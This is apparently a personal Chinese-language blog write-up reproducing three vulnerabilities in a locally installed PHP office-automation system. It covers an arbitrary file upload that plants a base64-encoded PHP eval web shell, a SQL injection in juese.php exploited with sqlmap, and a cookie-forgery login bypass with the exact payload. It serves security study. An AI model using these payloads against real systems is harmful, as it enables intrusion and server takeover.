菜鸡的日常记录,各位大佬别喷
一、搭建OA平台
1.平台phpstudy,根据数据库文件,创建一个数据库
2.建议用navcat去看一下是否能链接数据库,并且执行sql文件导入数据,再次刷新就行
成功进入
二、漏洞复现
漏洞一:前台任意文件上传
访问相应地址
用post上传文件
查看uploadbase64.php源码
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');
只需满足preg_match条件就能上传,而且参数可控
注意:
result[1]包含data:image/php;base64, 这部分字符串,因为我输入之后`$img`的内容就是`data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOw==`,通过replace之后就变为`PD9waHAgQGV2YWwoJF9QT1NUWycxJ10pOw==`,解码之后刚好为`<?php @eval($_POST['1']);`作为文件内容
result[2]包含它将包含匹配的图像类型,如.php
直接传参,上传木马
成功执行命令,木马上传成功
漏洞二:前台SQL注入
在/system/juese.php 中没有调用鉴权文件 checklogin.php 导致并未过滤参数 导致注入.
此处sql语句`juese`参数直接拼接在SQL语句上,没有做过多的检测,导致可以SQL注入
直接报错,继续尝试注入
直接sqlmap一把梭,可能是本地数据库没搞好,没跑出数据库名,还是执行成功了的
漏洞三:前台权限绕过
在main.php中,伪造cookie,然后发送就会自动转跳后台
payload:
GET:
http://xinxiang/main.php
Cookie:
loginname=bp; jueseid=1; danweiid=1; quanxian=0; id=1